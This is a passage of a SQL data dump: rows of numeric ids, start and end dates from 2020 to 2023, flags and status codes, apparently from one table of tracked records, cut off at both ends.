,'2020-05-11','2020-07-10',1,'1',86,1),(2149,1408,4058,'2020-05-11','2020-07-14',1,'4',86,1),(2154,1011,4065,'2020-05-12','2020-07-09',1,'2',91,1),(2155,1011,4015,'2020-05-12','2020-05-20',1,'2',91,1),(2157,194,4081,'2020-05-12','2020-06-10',1,'2',45,1),(2158,634,3860,'2020-05-12','2020-06-12',1,'2',639,1),(2159,633,3835,'2020-05-12','2020-07-02',1,'4',639,1),(2160,634,3723,'2020-05-12','2020-06-12',1,'2',639,1),(2162,1291,4017,'2020-05-13','2020-06-10',1,'2',86,1),(2164,194,4092,'2020-05-14','2020-06-11',1,'2',45,1),(2165,194,4087,'2020-05-14','2020-06-11',1,'2',45,1),(2168,194,4109,'2020-05-15','2020-06-11',1,'2',45,1),(2173,1067,4117,'2020-05-15','2020-07-23',1,'2',326,1),(2176,1408,4113,'2020-05-15','2020-06-10',1,'2',86,1),(2177,1011,4090,'2020-05-16','2020-06-11',1,'2',91,1),(2185,194,4126,'2020-05-18','2020-06-11',1,'2',45,1),(2187,194,4142,'2020-05-18','2020-06-10',1,'2',45,1),(2188,194,4132,'2020-05-18','2020-06-10',1,'2',45,1),(2191,1067,4138,'2020-05-18','2020-07-27',1,'2',326,1),(2192,194,4131,'2020-05-18','2020-06-11',1,'2',45,1),(2196,358,4140,'2020-05-18','2020-06-02',1,'2',251,1),(2197,357,4150,'2020-05-18','2020-07-15',0,'4',251,1),(2200,194,4149,'2020-05-19','2020-06-10',1,'2',45,1),(2207,162,4134,'2020-05-20','2020-07-28',1,'2',73,1),(2208,161,4160,'2020-05-20','2020-08-26',1,'4',73,1),(2212,194,4173,'2020-05-20','2020-06-10',1,'2',45,1),(2220,1370,3882,'2020-05-20','2020-07-21',1,'1',667,1),(2221,1370,3983,'2020-05-20','2020-07-23',1,'1',667,1),(2222,358,4174,'2020-05-20','2020-06-02',1,'2',251,1),(2223,194,4178,'2020-05-20','2020-06-10',1,'2',45,1),(2225,194,4183,'2020-05-21','2020-07-21',1,'4',45,1),(2227,1251,3898,'2020-05-21','2020-06-11',0,'4',86,1),(2229,194,4190,'2020-05-21','2020-06-10',1,'2',45,1),(2231,194,4200,'2020-05-21','2020-06-10',1,'2',45,1),(2234,194,4209,'2020-05-22','2020-06-10',1,'2',45,1),(2236,1235,4216,'2020-05-22','2022-09-23',0,'4',277,1),(2238,204,4194,'2020-05-22','2020-10-19',1,'2',86,1),(2239,1410,4111,'2020-05-23','2020-06-12',1,'4',975,1),(2240,1410,4083,'2020-05-23','2020-06-11',1,'2',975,1),(2241,1410,4148,'2020-05-23','2020-06-11',1,'2',975,1),(2247,1367,4144,'2020-05-23','2020-06-12',0,'4',959,1),(2253,160,4187,'2020-05-23','2020-07-28',1,'2',73,1),(2259,161,4241,'2020-05-23','2020-07-28',1,'2',73,1),(2262,194,4230,'2020-05-23','2020-06-10',1,'2',45,1),(2276,194,4253,'2020-05-25','2020-07-10',1,NULL,45,1),(2277,194,4248,'2020-05-25','2022-11-03',1,'2',45,1),(2283,1067,4251,'2020-05-25','2020-07-31',1,'2',326,1),(2293,357,4215,'2020-05-26','2020-07-28',1,'2',251,1),(2299,1370,4218,'2020-05-26','2020-07-23',1,'4',667,1),(2300,1370,4191,'2020-05-26','2020-06-12',1,'2',667,1),(2301,194,4272,'2020-05-26','2020-07-23',1,NULL,45,1),(2306,194,4313,'2020-05-26','2020-06-11',1,NULL,45,1),(2314,358,4280,'2020-05-27','2020-07-28',1,'2',251,1),(2315,194,4316,'2020-05-27','2020-06-10',1,'2',45,1),(2316,194,4324,'2020-05-27','2020-06-27',1,NULL,45,1),(2317,194,4328,'2020-05-27','2022-11-03',1,'2',45,1),(2319,160,4322,'2020-05-27','2020-07-28',1,'2',73,1),(2323,194,4344,'2020-05-28','2020-06-10',1,'2',45,1),(2329,359,4386,'2020-05-29','2020-06-04',1,'2',251,1),(2331,357,4387,'2020-05-29','2020-07-15',1,'2',251,1),(2341,1324,4337,'2020-06-01','2020-08-04',1,'2',959,1),(2344,194,4446,'2020-06-01','2020-06-10',1,'2',45,1),(2345,1410,3985,'2020-06-01','2020-06-11',1,'2',975,1),(2346,194,4439,'2020-06-02','2020-07-21',1,'4',45,1),(2347,194,4438,'2020-06-02','2020-07-21',1,'4',45,1),(2348,193,4437,'2020-06-04','2020-06-24',1,'2',45,1),(2349,194,4396,'2020-06-02','2020-06-11',1,NULL,45,1),(2355,357,4467,'2020-06-02','2020-07-14',1,'2',251,1),(2362,1370,4465,'2020-06-03','2020-07-22',1,'4',667,1),(2366,358,4466,'2020-06-03','2020-07-23',1,'2',251,1),(2367,222,4483,'2020-06-03','2020-08-03',1,'2',85,1),(2371,1410,4199,'2020-06-03','2020-06-11',1,'2',975,1),(2372,1410,4263,'2020-06-03','2020-06-11',1,'2',975,1),(2373,161,4482,'2020-06-03','2020-07-28',1,'2',73,1),(2375,1393,4226,'2020-06-03','2020-07-14',1,'4',86,1),(2376,1408,4392,'2020-06-03','2020-07-07',1,'2',86,1),(2380,160,4496,'2020-06-05','2020-09-05',1,'4',73,1),(2384,358,4513,'2020-06-05','2020-07-14',1,'2',251,1),(2386,1370,4498,'2020-06-05','2020-08-12',1,'2',667,1),(2387,1011,4502,'2020-06-05','2020-08-06',1,'2',91,1),(2388,162,4445,'2020-06-05','2020-07-28',1,'4',73,1),(2391,633,4530,'2020-06-05','2020-07-24',1,'2',639,1),(2405,194,4568,'2020-06-08','2020-06-27',1,NULL,45,1),(2407,194,4564,'2020-06-08','2020-07-10',1,NULL,45,1),(2414,634,4580,'2020-06-08','2020-07-24',1,'2',639,1),(2415,1394,4575,'2020-06-08','2020-07-20',1,'2',86,1),(2423,1343,4585,'2020-06-09','2020-07-07',1,'2',86,1),(2426,193,4589,'2020-06-10','2020-07-23',1,NULL,45,1),(2428,204,4607,'2020-06-10','2020-07-07',1,'2',86,1),(2433,1394,4608,'2020-06-10','2020-07-18',1,'2',86,1),(2438,203,4610,'2020-06-10','2020-07-07',1,'2',86,1),(2439,358,4531,'2020-07-22','2020-07-28',1,'2',251,1),(2440,1012,4604,'2020-06-11','2020-06-11',1,'4',91,1),(2441,1235,4623,'2020-06-11','2020-07-20',1,'2',277,1),(2444,358,4618,'2020-06-11','2020-07-17',0,'4',251,1),(2448,162,4629,'2020-06-11','2020-09-09',1,'2',73,1),(2449,1067,4637,'2020-06-12','2020-07-31',1,'2',326,1),(2454,1439,4636,'2020-06-12','2020-07-14',1,'4',86,1),(2463,194,4641,'2020-06-15','2023-02-07',1,'2',45,1),(2466,1410,4659,'2020-06-16','2020-06-23',1,'2',975,1),(2470,1410,4690,'2020-06-16','2020-06-23',1,'2',975,1),(2474,1410,4707,'2020-06-17','2020-06-23',1,'2',975,1),(2477,194,4720,'2020-06-17','2020-07-08',1,NULL,45,1),(2479,161,4676,'2020-06-17','2020-09-09',1,'2',73,1),(2481,1394,4717,'2020-06-17','2020-07-02',0,'4',86,1),(2489,160,4719,'2020-06-19','2020-09-09',1,'2',73,1),(2490,1011,4724,'2020-06-19','2021-01-21',0,'4',91,1),(2496,1408,4733,'2020-06-19','2020-07-14',1,'4',86,1),(2501,1410,4757,'2020-06-20','2020-06-29',1,'4',975,1),(2502,633,4706,'2020-06-20','2020-07-20',1,'2',639,1),(2504,194,4778,'2020-06-22','2020-10-20',1,'4',45,1),(2505,194,4784,'2020-06-22','2020-06-27',1,'2',45,1),(2506,162,4739,'2020-06-22','2020-09-23',1,'4',73,1),(2516,1456,4709,'2020-07-15','2020-07-23',1,'4',667,1),(2520,1410,4779,'2020-06-23','2021-04-07',0,'4',975,1),(2524,1012,4776,'2020-06-24','2020-08-06',1,'2',91,1),(2529,1439,4820,'2020-06-24','2020-07-09',1,'2',86,1),(2533,1367,4764,'2020-06-25','2020-07-08',0,'4',959,1),(2534,195,4840,'2020-06-25','2020-06-29',1,NULL,45,1),(2539,194,4859,'2020-06-26','2020-06-29',0,'4',45,1),(2544,1067,4885,'2020-06-27','2020-07-31',1,'2',326,1),(2549,194,4870,'2020-06-29','2020-12-15',1,'4',45,1),(2560,194,4958,'2020-06-30','2020-07-03',1,NULL,45,1),(2562,194,4939,'2020-06-30','2020-07-24',1,'2',45,1),(2567,162,4915,'2020-06-30','2020-09-09',1,'2',73,1),(2568,161,4665,'2020-06-30','2020-09-09',1,'2',73,1),(2573,1393,4969,'2020-07-01','2020-08-03',1,'4',86,1),(2577,194,5003,'2020-07-02','2020-07-10',1,NULL,45,1),(2583,359,5041,'2020-07-02','2020-07-15',1,'2',251,1),(2587,194,5035,'2020-07-02','2020-07-10',1,NULL,45,1),(2590,1410,5037,'2020-07-03','2020-07-03',0,'4',975,1),(2591,1012,4920,'2020-07-03','2020-08-06',1,'2',91,1),(2604,633,5071,'2020-07-06','2020-09-28',1,'2',639,1),(2605,194,5089,'2020-07-07','2020-12-15',1,'4',45,1),(2614,194,5092,'2020-07-08','2020-07-13',1,NULL,45,1),(2616,194,5096,'2020-07-08','2020-07-13',1,NULL,45,1),(2619,1235,5100,'2020-07-08','2020-07-25',1,'2',277,1),(2624,194,5104,'2020-07-08','2020-07-13',1,NULL,45,1),(2625,358,5109,'2020-07-08','2020-08-21',1,'2',251,1),(2628,161,5103,'2020-07-09','2020-08-26',1,'4',73,1),(2632,1393,5112,'2020-07-09','2020-08-01',1,'2',86,1),(2633,1067,5111,'2020-07-09','2020-08-12',1,'2',326,1),(2634,194,5123,'2020-07-09','2020-07-23',1,NULL,45,1),(2635,160,5126,'2020-07-09','2020-11-10',1,'2',73,1),(2641,194,5137,'2020-07-10','2020-07-24',1,'2',45,1),(2649,194,5169,'2020-07-13','2020-07-24',1,'2',45,1),(2651,194,5173,'2020-07-13','2020-07-24',1,'2',45,1),(2652,194,5171,'2020-07-13','2020-07-24',1,'2',45,1),(2653,194,5170,'2020-07-13','2020-07-24',1,'2',45,1),(2654,1452,5156,'2020-07-13','2020-10-13',1,'2',91,1),(2659,358,5174,'2020-07-14','2020-09-14',1,'2',251,1),(2664,194,5202,'2020-07-15','2020-08-03',1,NULL,45,1),(2667,194,5199,'2020-07-15','2020-07-24',1,'2',45,1),(2670,161,5197,'2020-07-15','2021-01-18',1,'2',73,1),(2671,160,5187,'2020-07-15','2020-11-10',1,'2',73,1),(2673,194,5215,'2020-07-16','2020-08-03',1,NULL,45,1),(2686,162,5232,'2020-07-18','2020-11-10',1,'2',73,1),(2688,1012,5222,'2020-07-19','2021-04-30',1,'2',91,1),(2691,1235,5233,'2020-07-20','2020-08-29',1,'2',277,1),(2702,1342,5269,'2020-07-21','2020-07-23',0,'4',971,1),(2715,194,5291,'2020-07-22','2020-08-03',1,NULL,45,1),(2720,1408,5294,'2020-07-22','2020-09-01',1,'4',86,1),(2721,1439,5293,'2020-07-22','2020-09-01',1,'4',86,1),(2726,1342,0,'2020-07-23',NULL,0,NULL,971,1),(2727,204,5299,'2020-07-23','2020-08-10',1,'2',86,1),(2728,1342,4827,'2020-07-23','2020-07-27',0,'4',971,1),(2732,203,5318,'2020-07-23','2020-08-14',1,'2',86,1),(2733,194,5314,'2020-07-23','2020-08-03',1,NULL,45,1),(2734,161,5249,'2020-07-23','2021-02-09',1,'4',73,1),(2737,162,5245,'2020-07-24','2020-09-23',1,'2',73,1),(2738,162,5240,'2020-07-24','2021-02-09',1,'4',73,1),(2747,222,0,'2020-07-25',NULL,0,NULL,85,1),(2748,221,0,'2020-07-25',NULL,0,NULL,85,1),(2750,194,5361,'2020-07-25','2020-08-11',1,NULL,45,1),(2770,1067,5332,'2020-07-27','2020-09-28',1,'2',326,1),(2782,194,5362,'2020-07-28','2020-08-11',1,NULL,45,1),(2789,194,5429,'2020-07-28','2020-08-06',1,NULL,45,1),(2790,1315,5176,'2020-07-28','2020-07-29',1,'4',959,1),(2791,1315,5469,'2020-07-28','2020-07-29',1,'4',959,1),(2802,194,5431,'2020-07-29','2020-08-06',1,NULL,45,1),(2807,1456,5367,'2020-07-29','2020-08-10',1,'2',667,1),(2811,160,5366,'2020-07-30','2020-11-10',1,'1',73,1),(2813,194,5428,'2020-07-30','2020-08-06',1,NULL,45,1),(2814,194,5430,'2020-07-30','2020-08-06',1,NULL,45,1),(2826,161,5420,'2020-07-30','2020-11-10',1,'4',73,1),(2828,1343,5464,'2020-07-30','2020-08-22',1,'2',86,1),(2846,194,5503,'2020-07-31','2020-08-06',1,NULL,45,1),(2856,203,5481,'2020-07-31','2020-11-02',1,'4',86,1),(2861,1067,5549,'2020-08-01','2020-08-25',1,'2',326,1),(2884,1067,5597,'2020-08-04','2020-08-25',1,'2',326,1),(2885,1367,0,'2020-08-04',NULL,0,NULL,959,1),(2887,1394,5677,'2020-08-04','2020-08-05',0,'4',86,1),(2898,1235,5690,'2020-08-05','2020-09-11',1,'2',277,1),(2899,1235,5691,'2020-08-05','2020-08-29',0,'4',277,1),(2907,1067,5655,'2020-08-05','2020-09-29',1,'4',326,1),(2908,1067,5656,'2020-08-05','2020-09-29',1,'4',326,1),(2909,161,5607,'2020-08-05','2021-03-02',1,'4',73,1),(2916,1343,5670,'2020-08-06','2020-09-01',1,'2',86,1),(2923,358,5589,'2020-08-07','2020-09-14',1,'2',251,1),(2924,194,5702,'2020-08-07','2020-12-14',1,'4',45,1),(2943,160,5712,'2020-08-10','2020-11-10',1,'1',73,1),(2958,1406,5760,'2020-08-11','2020-11-20',1,'4',971,1),(2961,1394,5734,'2020-08-11','2020-10-03',1,'2',86,1),(2962,194,5758,'2020-08-12','2020-08-17',1,NULL,45,1),(2966,1235,5766,'2020-08-12','2020-09-16',1,'2',277,1),(2980,1235,5796,'2020-08-14','2020-09-22',1,'2',277,1),(2981,1235,5797,'2020-08-14','2020-09-22',1,'2',277,1),(2983,1251,5795,'2020-08-14','2020-09-03',1,'4',86,1),(2992,1067,5833,'2020-08-17','2020-09-14',1,'2',326,1),(3020,161,5773,'2020-08-19','2021-02-09',1,'4',73,1),(3023,1315,5770,'2020-08-19','2020-08-21',1,'4',959,1),(3037,194,5877,'2020-08-21','2020-11-06',1,NULL,45,1),(3045,359,5912,'2020-08-24','2020-11-11',1,'2',251,1),(3053,1067,5907,'2020-08-24','2020-10-14',1,'1',326,1),(3064,162,5859,'2020-08-25','2021-02-09',1,'4',73,1),(3065,160,5803,'2020-08-25','2020-09-23',1,'2',73,1),(3066,161,5802,'2020-08-25','2021-02-04',1,'4',73,1),(3070,358,5922,'2020-08-25','2020-09-14',1,'2',251,1),(3071,359,5914,'2020-08-25','2020-09-22',1,'2',251,1),(3077,194,5925,'2020-08-25','2022-11-03',1,'2',45,1),(3085,1235,5921,'2020-08-25','2020-10-22',1,'2',277,1),(3086,633,5884,'2020-08-25',NULL,0,NULL,639,1),(3099,1324,5892,'2020-08-26','2020-09-01',0,'4',959,1),(3102,162,5791,'2020-08-26','2021-02-04',1,'4',73,1),(3105,1067,5948,'2020-08-26','2020-11-03',1,'2',326,1),(3108,1067,5959,'2020-08-27','2020-10-20',1,'2',326,1),(3123,194,0,'2020-08-31',NULL,0,NULL,45,1),(3129,1343,5994,'2020-09-01','2020-10-03',1,'2',86,1),(3130,160,5989,'2020-09-01','2020-11-10',1,'1',73,1),(3135,359,5962,'2020-09-02','2020-10-06',0,'4',251,1),(3136,194,6017,'2020-09-02','2020-09-15',1,NULL,45,1),(3138,1408,6013,'2020-09-02','2020-10-03',1,'2',86,1),(3150,1367,6035,'2020-09-04','2020-09-11',0,'4',959,1),(3161,1011,6043,'2020-09-04',NULL,0,NULL,91,1),(3164,1406,5902,'2020-09-07','2020-11-25',0,'4',971,1),(3167,359,6051,'2020-09-07','2021-02-01',1,'4',251,1),(3168,358,6050,'2020-09-07','2022-09-22',1,'4',251,1),(3169,357,6025,'2020-09-07','2020-09-28',0,'4',251,1),(3170,358,6049,'2020-09-07','2021-02-04',1,'4',251,1),(3171,359,6026,'2020-09-07','2020-09-30',1,'2',251,1),(3174,161,6046,'2020-09-07','2021-02-09',1,'4',73,1),(3179,204,6067,'2020-09-08','2020-10-19',1,'2',86,1),(3186,358,6069,'2020-09-10','2020-11-30',1,'2',251,1),(3188,634,6064,'2020-09-10','2020-09-28',1,'2',639,1),(3189,194,6090,'2020-09-10','2020-09-15',1,NULL,45,1),(3190,633,6076,'2020-09-10','2020-10-01',1,'2',639,1),(3194,1251,6086,'2020-09-11','2020-12-03',1,'2',86,1),(3200,1245,6085,'2020-09-14',NULL,0,NULL,91,1),(3201,161,6096,'2020-09-14','2021-01-18',1,'2',73,1),(3202,162,6065,'2020-09-14','2020-11-12',1,'4',73,1),(3209,1410,5550,'2020-09-15','2021-03-05',1,'4',975,1),(3210,1410,5747,'2020-09-15','2021-03-05',1,'4',975,1),(3211,1410,6041,'2020-09-15','2021-03-05',1,'4',975,1),(3212,1410,6058,'2020-09-15','2021-03-05',1,'4',975,1),(3213,1410,5857,'2020-09-15','2021-03-05',1,'4',975,1),(3214,194,6143,'2020-09-16','2020-10-20',1,'4',45,1),(3215,194,6125,'2020-09-16','2020-09-21',1,NULL,45,1),(3216,194,6126,'2020-09-16','2020-12-14',1,'4',45,1),(3217,194,6145,'2020-09-16','2020-09-22',1,NULL,45,1),(3218,194,6144,'2020-09-16','2020-09-22',1,NULL,45,1),(3230,194,6146,'2020-09-16','2020-12-14',1,'4',45,1),(3231,194,6128,'2020-09-16','2020-09-21',1,NULL,45,1),(3234,1245,6139,'2020-09-17',NULL,0,NULL,91,1),(3244,1394,6153,'2020-10-19','2020-12-03',1,'2',86,1),(3250,1452,6165,'2020-09-18','2021-04-30',1,'2',91,1),(3254,1067,6160,'2020-09-19','2020-12-08',1,'2',326,1),(3259,1410,6170,'2020-09-22','2021-03-05',1,'4',975,1),(3260,1235,6189,'2020-09-22','2020-10-22',1,'2',277,1),(3263,162,6181,'2020-09-23','2020-10-15',1,NULL,73,1),(3275,357,6191,'2020-09-24','2021-02-01',1,'2',251,1),(3282,1410,6213,'2020-09-25','2021-03-05',1,'4',975,1),(3286,1394,6217,'2020-09-25','2020-10-26',1,'2',86,1),(3288,1410,6223,'2020-09-26','2021-02-18',1,'4',975,1),(3290,1067,6204,'2020-09-28','2020-12-08',1,'2',326,1),(3298,194,6245,'2020-09-28','2020-10-06',1,NULL,45,1),(3302,222,6237,'2020-09-28','2021-07-06',0,'4',85,1),(3303,1452,6229,'2020-09-28','2022-11-03',0,'2',91,1),(3304,1245,6227,'2020-09-28',NULL,0,NULL,91,1),(3306,1067,6235,'2020-09-28','2020-11-03',1,'2',326,1),(3308,160,6232,'2020-09-29','2020-11-13',1,'2',73,1),(3311,1439,6234,'2020-09-29','2020-10-19',1,'2',86,1),(3314,194,6255,'2020-09-29','2020-11-06',1,NULL,45,1),(3317,161,6242,'2020-09-30','2021-01-18',1,'2',73,1),(3318,162,6253,'2020-09-30','2021-01-18',1,'2',73,1),(3321,194,6262,'2020-09-30','2020-10-05',1,NULL,45,1),(3323,1235,6261,'2020-09-30','2020-10-24',1,'2',277,1),(3327,358,6239,'2020-09-30','2021-02-02',1,'4',251,1),(3328,161,6264,'2020-10-01','2021-02-04',1,'4',73,1),(3333,1456,6274,'2020-10-01','2020-10-30',1,'2',667,1),(3334,1456,6273,'2020-10-01','2020-12-07',1,'4',667,1),(3336,204,6282,'2020-10-01','2020-10-26',1,'2',86,1),(3351,194,6305,'2020-10-05','2020-11-06',1,NULL,45,1),(3354,162,6279,'2020-10-06','2020-10-15',1,NULL,73,1),(3364,161,6316,'2020-10-07','2021-03-02',1,'4',73,1),(3365,160,6318,'2020-10-07','2020-10-13',1,NULL,73,1),(3370,1370,6328,'2020-10-07','2020-11-12',1,'4',667,1),(3385,1408,6349,'2020-10-09','2020-12-03',1,'2',86,1),(3386,1394,6348,'2020-10-09','2020-12-16',1,'4',86,1),(3387,203,6347,'2020-10-09','2020-12-16',1,'4',86,1),(3388,1393,6346,'2020-10-09','2020-12-03',1,'2',86,1),(3389,160,6350,'2020-10-10','2020-12-30',1,'2',73,1),(3396,194,6358,'2020-10-10','2020-11-06',1,NULL,45,1),(3401,194,6379,'2020-10-12','2020-10-28',1,'4',45,1),(3404,358,6351,'2020-10-13','2021-01-09',1,'2',251,1),(3414,1370,6390,'2020-10-15','2020-11-23',1,'4',667,1),(3417,161,6368,'2020-10-15','2021-02-04',1,'2',73,1),(3418,160,6375,'2020-10-15','2021-03-02',1,'2',73,1),(3434,1251,6408,'2020-10-17','2020-12-03',1,'2',86,1),(3435,1342,6216,'2020-10-17','2020-11-25',1,'4',971,1),(3441,1324,6419,'2020-10-19','2020-11-10',1,'2',959,1),(3454,194,6440,'2020-10-21','2020-10-26',1,NULL,45,1),(3457,161,6428,'2020-10-22','2021-02-09',1,'4',73,1),(3460,1235,6389,'2020-10-22','2020-11-23',1,'2',277,1),(3468,1067,6445,'2020-10-23','2020-11-30',1,'2',326,1),(3469,1410,6457,'2020-10-23','2021-02-18',1,'1',975,1),(3470,1410,6443,'2020-10-23','2021-02-18',1,'4',975,1),(3471,1410,6429,'2020-10-23','2021-02-18',1,'4',975,1),(3472,1410,6424,'2020-10-23','2021-02-18',1,'4',975,1),(3473,1410,6420,'2020-10-23','2021-02-18',1,'4',975,1),(3476,194,6463,'2020-10-23','2022-11-03',1,'2',45,1),(3477,194,6460,'2020-10-23','2022-11-03',1,'2',45,1),(3492,1235,6497,'2020-10-28','2020-11-23',1,'2',277,1),(3497,1235,6496,'2020-10-29','2020-11-23',1,'4',277,1),(3509,160,6502,'2020-10-31','2021-03-02',1,'4',73,1),(3510,162,6506,'2020-10-31','2020-12-17',1,NULL,73,1),(3512,221,6518,'2020-10-31','2021-07-06',1,'4',85,1),(3517,194,6557,'2020-11-02','2021-08-04',1,NULL,45,1),(3530,359,6466,'2020-11-04','2021-02-01',1,'2',251,1),(3534,1408,6572,'2020-11-04','2021-01-26',1,'2',86,1),(3537,161,6564,'2020-11-05','2020-11-13',1,NULL,73,1),(3538,358,6549,'2020-11-05','2021-02-02',1,'2',251,1),(3539,357,6540,'2020-11-05','2021-02-01',1,'2',251,1),(3540,1235,6582,'2020-11-05','2020-11-23',1,'2',277,1),(3556,1067,6584,'2020-11-06','2020-12-07',1,'2',326,1),(3558,160,6580,'2020-11-07','2021-02-04',1,'2',73,1),(3587,162,6591,'2020-11-11','2021-02-09',1,'4',73,1),(3588,161,6592,'2020-11-11','2021-02-09',1,'4',73,1),(3589,160,6617,'2020-11-11','2021-02-04',1,'4',73,1),(3591,1067,6630,'2020-11-11','2020-12-10',1,'2',326,1),(3599,1406,6538,'2020-11-12','2021-02-02',0,'4',971,1),(3600,1342,6631,'2020-11-12','2021-02-08',0,'4',971,1),(3602,1235,6644,'2020-11-13','2020-12-17',1,'2',277,1),(3603,1235,6643,'2020-11-13','2020-12-17',1,'2',277,1),(3604,1235,6642,'2020-11-13','2020-12-17',1,'2',277,1),(3605,1235,6641,'2020-11-13','2020-11-23',1,'2',277,1),(3606,1235,6638,'2020-11-13','2020-11-23',1,'2',277,1),(3607,1235,6645,'2020-11-13','2020-12-17',1,'2',277,1),(3615,194,6663,'2020-11-16','2020-11-17',1,NULL,45,1),(3616,194,6660,'2020-11-16','2020-11-20',1,NULL,45,1),(3625,1067,6677,'2020-11-16','2020-12-15',1,'2',326,1),(3629,194,6681,'2020-11-17','2022-11-03',1,'2',45,1),(3631,1367,6683,'2020-11-17','2020-11-30',1,'4',959,1),(3640,161,6666,'2020-11-18','2020-11-19',1,NULL,73,1),(3641,162,6684,'2020-11-18','2021-02-04',1,'4',73,1),(3645,1408,6689,'2020-11-18','2021-01-26',1,'2',86,1),(3647,1456,6695,'2020-11-19','2020-12-09',1,'2',667,1),(3655,194,6700,'2020-11-20','2020-11-23',1,NULL,45,1),(3663,1394,6707,'2020-11-21','2021-01-11',1,'2',86,1),(3670,1456,6732,'2020-11-23','2021-01-02',1,'4',667,1),(3671,1370,6731,'2020-11-23','2020-12-17',1,'2',667,1),(3676,162,6710,'2020-11-23','2021-03-02',1,'4',73,1),(3693,1342,6741,'2020-11-26','2021-03-02',0,'2',971,1),(3696,194,6759,'2020-11-26','2020-11-28',1,NULL,45,1),(3698,194,6751,'2020-11-26','2020-12-08',1,NULL,45,1),(3701,1456,6755,'2020-11-26','2021-11-30',1,'4',667,1),(3705,194,6761,'2020-11-27','2022-11-03',1,'2',45,1),(3706,1370,6765,'2020-11-27','2020-12-19',1,'2',667,1),(3707,1245,6752,'2020-11-27','2021-01-21',0,'4',91,1),(3708,1408,6764,'2020-11-27','2020-12-18',1,'2',86,1),(3710,1067,6770,'2020-11-28','2021-01-04',1,'2',326,1),(3711,1343,6769,'2020-11-28','2020-12-18',1,'2',86,1),(3713,1439,6775,'2020-11-30','2021-01-26',1,'2',86,1),(3720,1343,6784,'2020-12-01','2021-02-02',1,'2',86,1),(3721,1394,6782,'2020-12-01','2021-01-26',1,'2',86,1),(3731,1393,6800,'2020-12-03','2021-03-11',1,'2',86,1),(3732,1439,6797,'2020-12-03','2021-01-26',1,'2',86,1),(3746,194,6808,'2020-12-07','2020-12-11',1,NULL,45,1),(3751,194,6837,'2020-12-08','2020-12-11',1,NULL,45,1),(3753,161,6817,'2020-12-08','2021-05-28',1,'4',73,1),(3761,1235,6843,'2020-12-09','2021-02-09',1,'2',277,1),(3762,1235,6840,'2020-12-09','2021-03-31',1,'2',277,1),(3763,1235,6826,'2020-12-09','2021-02-09',1,'4',277,1),(3770,1343,6851,'2020-12-10','2021-05-22',1,'4',86,1),(3771,1574,6848,'2020-12-10','2021-02-02',1,'4',86,1),(3772,1406,6849,'2020-12-11','2021-02-24',1,'2',971,1),(3773,1342,6854,'2020-12-11','2021-03-02',0,'4',971,1),(3777,1410,6860,'2020-12-11','2021-02-05',1,'2',975,1),(3778,1410,6862,'2020-12-11','2021-01-22',1,'2',975,1),(3781,1011,6865,'2020-12-11',NULL,0,NULL,91,1),(3782,1456,6863,'2020-12-12','2021-01-02',1,'2',667,1),(3786,161,6824,'2020-12-14','2023-11-13',1,'2',73,1),(3787,160,6825,'2020-12-14','2021-05-10',1,'2',73,1),(3790,1456,6880,'2020-12-14','2021-01-07',1,'4',667,1),(3791,194,6887,'2020-12-14','2021-01-08',1,'2',45,1),(3792,194,6886,'2020-12-14','2021-01-29',1,'4',45,1),(3793,194,6873,'2020-12-14','2021-01-29',0,'4',45,1),(3794,1410,6888,'2020-12-15','2021-01-06',0,'4',975,1),(3795,1410,6875,'2020-12-15','2021-02-22',1,'2',975,1),(3796,1370,6755,'2020-12-15',NULL,0,NULL,667,1),(3815,194,6910,'2020-12-16','2021-02-16',1,'2',45,1),(3816,194,6908,'2020-12-16','2021-02-16',1,'2',45,1),(3835,359,6915,'2020-12-19','2021-02-01',1,'2',251,1),(3843,194,6944,'2020-12-21','2021-01-08',1,'2',45,1),(3844,194,6934,'2020-12-21','2021-01-19',1,'2',45,1),(3848,222,6929,'2020-12-21','2021-07-01',1,'2',85,1),(3857,1245,6953,'2020-12-22',NULL,0,NULL,91,1),(3858,161,6914,'2020-12-23','2022-08-25',1,'4',73,1),(3859,160,6909,'2020-12-23','2021-04-09',1,'4',73,1),(3860,162,6905,'2020-12-23','2021-02-04',1,'2',73,1),(3861,1235,6960,'2020-12-23','2021-03-31',1,'2',277,1),(3866,1251,6964,'2020-12-24','2021-04-22',1,'2',86,1),(3871,1452,6959,'2020-12-26','2021-03-25',1,'2',91,1),(3872,1235,6976,'2020-12-28','2021-02-23',1,'2',277,1),(3873,1235,6971,'2020-12-28','2021-02-09',1,'2',277,1),(3876,358,6984,'2020-12-28','2021-02-01',1,'2',251,1),(3877,194,6979,'2020-12-29','2021-06-02',1,'2',45,1),(3881,194,6989,'2020-12-29','2021-01-19',1,'2',45,1),(3884,1456,6973,'2020-12-30','2021-03-30',1,'2',667,1),(3886,194,6996,'2020-12-30','2021-01-12',1,'2',45,1),(3887,1235,6999,'2020-12-30','2021-03-31',1,'2',277,1),(3898,161,6986,'2020-12-30','2021-01-18',1,'4',73,1),(3899,160,7009,'2020-12-30','2021-01-25',1,'2',73,1),(3910,194,7014,'2021-01-02','2021-01-20',1,'2',45,1),(3911,194,7022,'2021-01-02','2021-02-01',1,'2',45,1),(3917,359,6549,'2021-01-04','2021-01-09',1,NULL,251,1),(3929,1410,7050,'2021-01-06','2021-01-28',0,'4',975,1),(3937,194,7062,'2021-01-07','2021-01-20',1,'2',45,1),(3938,1456,7063,'2021-01-07','2021-03-24',1,'2',667,1),(3939,1394,7031,'2021-01-07','2021-01-11',0,'4',86,1),(3940,1291,7030,'2021-01-07','2021-04-26',1,'2',86,1),(3941,203,7029,'2021-01-07','2021-04-24',1,'2',86,1),(3943,1235,7070,'2021-01-08','2021-03-31',1,'2',277,1),(3944,1235,7069,'2021-01-08','2021-03-31',1,'2',277,1),(3948,1067,7067,'2021-01-08','2021-02-03',1,'2',326,1),(3953,359,7073,'2021-01-09','2021-02-13',1,'2',251,1),(3954,359,7072,'2021-01-09','2021-02-13',1,'2',251,1),(3958,194,7080,'2021-01-11','2021-03-02',1,'2',45,1),(3960,194,7077,'2021-01-11','2021-06-02',1,'4',45,1),(3966,359,7039,'2021-01-12','2021-02-03',1,'4',251,1),(3968,633,7084,'2021-01-12','2021-02-05',1,'2',639,1),(3970,194,7093,'2021-01-12','2021-01-15',1,NULL,45,1),(3971,194,7091,'2021-01-12','2021-06-02',1,'4',45,1),(3972,194,7089,'2021-01-12','2021-02-01',1,'2',45,1),(3974,1067,7086,'2021-01-12','2021-01-15',1,'4',326,1),(3975,359,7088,'2021-01-13','2021-02-03',1,'2',251,1),(3979,1235,7095,'2021-01-13','2021-03-19',1,'2',277,1),(3987,194,7098,'2021-01-18','2021-02-01',1,'2',45,1),(3988,194,7102,'2021-01-18','2021-01-27',1,'2',45,1